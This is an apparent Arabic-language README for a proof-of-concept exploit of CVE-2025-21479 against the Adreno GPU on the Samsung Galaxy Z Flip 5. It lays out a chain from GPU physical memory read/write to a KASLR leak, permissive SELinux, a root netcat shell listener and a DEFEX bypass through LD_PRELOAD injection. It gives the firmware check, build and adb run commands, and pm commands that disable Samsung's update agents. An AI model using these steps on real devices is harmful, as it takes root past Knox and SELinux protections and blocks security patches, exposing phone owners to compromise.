
CVE-2025-21479 PoC لهاتف ZFlip5 مع Knox في الطريق!(˶˃ ᵕ ˂˶)
Image
قراءة/كتابة فيزيائية عشوائية لوحدة المعالجة الرسومية (CVE-2025-21479) -> تسريب KASLR -> وضع SELinux المتساهل -> خادم جذر آمن عبر خطاف init متوافق مع RKP وتجاوز DEFEX لتنفيذ ثنائيات مخصصة (عبر LD_PRELOAD)
يستغرق الأمر حوالي 6 دقائق.. كن صبوراً.
سأقوم بتحسينه لاحقاً.
Galaxy Z Flip 5 (SM-F731N)
البرنامج الثابت: F731NKSU5EYD9
أندرويد: 15
التصحيح الأمني: 2025-04-01
المعالج: Snapdragon 8 Gen 2 (SM8550 / kalama)
وحدة المعالجة الرسومية: Adreno 740 v2
Galaxy Z Flip 5 (SM-F7310) — شكراً @eoegamer على الاختبار والقيادة!!
البرنامج الثابت: F7310ZCS4CXH2
أندرويد: 14
المعالج: Snapdragon 8 Gen 2 (SM8550 / kalama)
وحدة المعالجة الرسومية: Adreno 740
استخدم نمط البرنامج الثابت لوحدة المعالجة الرسومية:
xxd /vendor/firmware/a740_sqe.fw | grep -i "0300 422a"
إذا تطابق، فإن البرنامج الثابت قابل للاستغلال
; vulnerable firmware (v675)
and $04, $12, 0x3
; patched firmware (v676)
and $04, $12, 0x7
exploit.c مبني لـ F731NKSU5EYD9.
بالنسبة للبرامج الثابتة الأخرى، أعد توجيهه باستخدام port_extract.py أولاً (انظر PORTING.md)
# build exploit.c with the Android NDK (aarch64), e.g.:
# $NDK/toolchains/llvm/prebuilt/*/bin/aarch64-linux-android34-clang exploit.c -o cheese
adb push cheese /data/local/tmp/
adb shell 'chmod +x /data/local/tmp/cheese; /data/local/tmp/cheese'
شغّله مرة واحدة بعد كل إقلاع (خادم الجذر غير دائم).
عند النجاح، يترك مستمع toybox nc بصلاحيات الجذر مربوطاً بالحلقة المحلية (127.0.0.1:4444). احصل على قشرة جذر من adb shell:
adb shell
nc 127.0.0.1 4444 # root shell, uid=0 (u:r:sec_system_init_shell:s0)
لا تزال الثنائيات الأصلية قادرة على العمل مباشرة.
المشكلة هي أن DEFEX يمنع الثنائيات المخصصة الأصلية عند تنفيذها مباشرة.
لذلك، بدلاً من ذلك، شغّل الكود المخصص لديك كمكتبة LD_PRELOAD تُحقن في عملية مضيفة أصلية من قشرة الجذر:
LD_PRELOAD=/data/local/tmp/test.so /system/bin/toybox true
ابنِ test.so مع مدخل __attribute__((constructor))؛ يعمل المُنشئ الخاص بها بصلاحيات الجذر داخل المضيف الأصلي!
إذا علق الأمر لأكثر من 15 دقيقة، أعد التشغيل واترك الجهاز ليبرد.
الرش على وحدة المعالجة الرسومية احتمالي. أعد المحاولة أو أعد التشغيل إذا فشل.
عطّل تحديثات البرامج
التعطيل:
pm disable-user --user 0 com.sec.android.soagent
pm disable-user --user 0 com.wssyncmldm
إعادة التفعيل:
pm enable --user 0 com.sec.android.soagent
pm enable --user 0 com.wssyncmldm
للبحث الأمني المصرح به والتعليم فقط. يجب أن يتطابق الجهاز والبرنامج الثابت تماماً.